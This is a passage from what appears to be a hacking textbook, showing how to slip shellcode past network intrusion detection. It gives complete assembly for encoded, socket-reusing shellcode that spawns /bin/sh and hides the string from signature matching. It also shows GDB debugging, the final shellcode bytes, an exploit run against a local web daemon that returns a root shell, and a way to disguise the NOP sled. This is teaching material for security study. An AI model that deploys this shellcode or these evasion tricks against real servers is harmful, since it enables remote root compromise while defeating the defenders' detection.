The aforementioned network IDS or IPS systems can do more than just track connections—they can also inspect the packets themselves. Usually, these systems are looking for patterns that would signify an attack. For example, a simple rule looking for packets that contain the string /bin/sh
would catch a lot of packets containing shellcode. Our /bin/sh
string is already slightly obfuscated since it's pushed to the stack in four-byte chunks, but a network IDS could also look for packets that contain the strings /bin
and //sh
.
These types of network IDS signatures can be fairly effective at catching script kiddies who are using exploits they downloaded from the Internet. However, they are easily bypassed with custom shellcode that hides any telltale strings.
To hide the string, we will simply add 5 to each byte in the string. Then, after the string has been pushed to the stack, the shellcode will subtract 5 from each string byte on the stack. This will build the desired string on the stack so it can be used in the shellcode, while keeping it hidden during transit. The output below shows the calculation of the encoded bytes.
reader@hacking:~/booksrc $ echo "/bin/sh" | hexdump -C 00000000 2f 62 69 6e 2f 73 68 0a |/bin/sh.| 00000008 reader@hacking:~/booksrc $ gdb -q (gdb) print /x 0x0068732f + 0x05050505 $1 = 0x56d7834 (gdb) print /x 0x6e69622f + 0x05050505 $2 = 0x736e6734 (gdb) quit reader@hacking:~/booksrc $
The following shellcode pushes these encoded bytes to the stack and then decodes them in a loop. Also, two int3
instructions are used to put breakpoints in the shellcode before and after the decoding. This is an easy way to see what's going on with GDB.
BITS 32 push BYTE 0x02 ; Fork is syscall #2. pop eax int 0x80 ; After the fork, in child process eax == 0. test eax, eax jz child_process ; In child process spawns a shell. ; In the parent process, restore tinywebd. lea ebp, [esp+0x68] ; Restore EBP. push 0x08048fb7 ; Return address. ret ; Return child_process: ; Re-use existing socket. lea edx, [esp+0x5c] ; Put the address of new_sockfd in edx. mov ebx, [edx] ; Put the value of new_sockfd in ebx. push BYTE 0x02 pop ecx ; ecx starts at 2. xor eax, eax dup_loop: mov BYTE al, 0x3F ; dup2 syscall #63 int 0x80 ; dup2(c, 0) dec ecx ; Count down to 0. jns dup_loop ; If the sign flag is not set, ecx is not negative ; execve(const char *filename, char *const argv [], char *const envp[]) mov BYTE al, 11 ; execve syscall #11 push 0x056d7834 ; push "/sh\x00" encoded +5 to the stack. push 0x736e6734 ; push "/bin" encoded +5 to the stack. mov ebx, esp ; Put the address of encoded "/bin/sh" into ebx. int3 ; Breakpoint before decoding (REMOVE WHEN NOT DEBUGGING) push BYTE 0x8 ; Need to decode 8 bytes pop edx decode_loop: sub BYTE [ebx+edx], 0x5 dec edx jns decode_loop int3 ; Breakpoint after decoding (REMOVE WHEN NOT DEBUGGING) xor edx, edx push edx ; push 32-bit null terminator to stack. mov edx, esp ; This is an empty array for envp. push ebx ; push string addr to stack above null terminator. mov ecx, esp ; This is the argv array with string ptr. int 0x80 ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])
The decoding loop uses the EDX register as a counter. It begins at 8 and counts down to 0, since 8 bytes need to be decoded. Exact stack addresses don't matter in this case since the important parts are all relatively addressed, so the output below doesn't bother attaching to an existing tinywebd process.
reader@hacking:~/booksrc $ gcc -g tinywebd.c reader@hacking:~/booksrc $ sudo gdb -q ./a.out warning: not using untrusted file "/home/reader/.gdbinit" Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) set disassembly-flavor intel (gdb) set follow-fork-mode child (gdb) run Starting program: /home/reader/booksrc/a.out Starting tiny web daemon..
Since the breakpoints are actually part of the shellcode, there is no need to set one from GDB. From another terminal, the shellcode is assembled and used with the socket-reusing exploit tool.
reader@hacking:~/booksrc $ nasm encoded_sockreuserestore_dbg.s reader@hacking:~/booksrc $ ./xtool_tinywebd_reuse.sh encoded_socketreuserestore_dbg 127.0.0.1 target IP: 127.0.0.1 shellcode: encoded_sockreuserestore_dbg (72 bytes) fake request: "GET / HTTP/1.1\x00" (15 bytes) [Fake Request 15] [spoof IP 16] [NOP 313] [shellcode 72] [ret addr 128] [*fake_addr 8] localhost [127.0.0.1] 80 (www) open
Back in the GDB window, the first int3
instruction in the shellcode is hit. From here, we can verify that the string decodes properly.
Program received signal SIGTRAP, Trace/breakpoint trap. [Switching to process 12400] 0xbffff6ab in ?? () (gdb) x/10i $eip 0xbffff6ab: push 0x8 0xbffff6ad: pop edx 0xbffff6ae: sub BYTE PTR [ebx+edx],0x5 0xbffff6b2: dec edx 0xbffff6b3: jns 0xbffff6ae 0xbffff6b5 int3 0xbffff6b6: xor edx,edx 0xbffff6b8: push edx 0xbffff6b9: mov edx,esp 0xbffff6bb: push ebx (gdb) x/8c $ebx 0xbffff738: 52 '4' 103 'g' 110 'n' 115 's' 52 '4' 120 'x' 109 'm' 5 '\005' (gdb) cont Continuing. [tcsetpgrp failed in terminal_inferior: Operation not permitted] Program received signal SIGTRAP, Trace/breakpoint trap. 0xbffff6b6 in ?? () (gdb) x/8c $ebx 0xbffff738: 47 '/' 98 'b' 105 'i' 110 'n' 47 '/' 115 's' 104 'h' 0 '\0' (gdb) x/s $ebx 0xbffff738: "/bin/sh" (gdb)
Now that the decoding has been verified, the int3
instructions can be removed from the shellcode. The following output shows the final shellcode being used.
reader@hacking:~/booksrc $ sed -e 's/int3/;int3/g' encoded_sockreuserestore_dbg.s > encoded_sockreuserestore.s reader@hacking:~/booksrc $ diff encoded_sockreuserestore_dbg.s encoded_sockreuserestore.s 33c33 < int3 ; Breakpoint before decoding (REMOVE WHEN NOT DEBUGGING) > ;int3 ; Breakpoint before decoding (REMOVE WHEN NOT DEBUGGING) 42c42 < int3 ; Breakpoint after decoding (REMOVE WHEN NOT DEBUGGING) > ;int3 ; Breakpoint after decoding (REMOVE WHEN NOT DEBUGGING) reader@hacking:~/booksrc $ nasm encoded_sockreuserestore.s reader@hacking:~/booksrc $ hexdump -C encoded_sockreuserestore 00000000 6a 02 58 cd 80 85 c0 74 0a 8d 6c 24 68 68 b7 8f |j.X....t..l$hh..| 00000010 04 08 c3 8d 54 24 5c 8b 1a 6a 02 59 31 c0 b0 3f |....T$\..j.Y1..?| 00000020 cd 80 49 79 f9 b0 0b 68 34 78 6d 05 68 34 67 6e |..Iy...h4xm.h4gn| 00000030 73 89 e3 6a 08 5a 80 2c 13 05 4a 79 f9 31 d2 52 |s..j.Z.,..Jy.1.R| 00000040 89 e2 53 89 e1 cd 80 |..S....| 00000047 reader@hacking:~/booksrc $ ./tinywebd Starting tiny web daemon.. reader@hacking:~/booksrc $ ./xtool_tinywebd_reuse.sh encoded_sockreuserestore 127.0.0.1 target IP: 127.0.0.1 shellcode: encoded_sockreuserestore (71 bytes) fake request: "GET / HTTP/1.1\x00" (15 bytes) [Fake Request 15] [spoof IP 16] [NOP 314] [shellcode 71] [ret addr 128] [*fake_addr 8] localhost [127.0.0.1] 80 (www) open whoami root
The NOP sled is another signature easy to detect by network IDSes and IPSes. Large blocks of 0x90
aren't that common, so if a network security mechanism sees something like this, it's probably an exploit. To avoid this signature, we can use different single-byte instructions instead of NOP. There are several one-byte instructions—the increment and decrement instructions for various registers—that are also printable ASCII characters.
Instruction | Hex | ASCII |
---|---|---|
inc eax |
| @ |
inc ebx |
| C |
inc ecx |
| A |
inc ecx |
| B |
dec eax |
| H |
dec ebx |
| K |
dec ecx |
| I |
dec edx |
| J |
Since we zero out these registers before we use them, we can safely use a random combination of these bytes for the NOP sled. Creating a new exploit tool that uses random combinations of the bytes @, C, A, B, H, K, I
, and J
instead of a regular NOP sled will be left as an exercise for the reader. The easiest way to do this would be by writing a sled-generation program in C, which is used with a BASH script. This modification will hide the exploit buffer from IDSes that look for a NOP sled.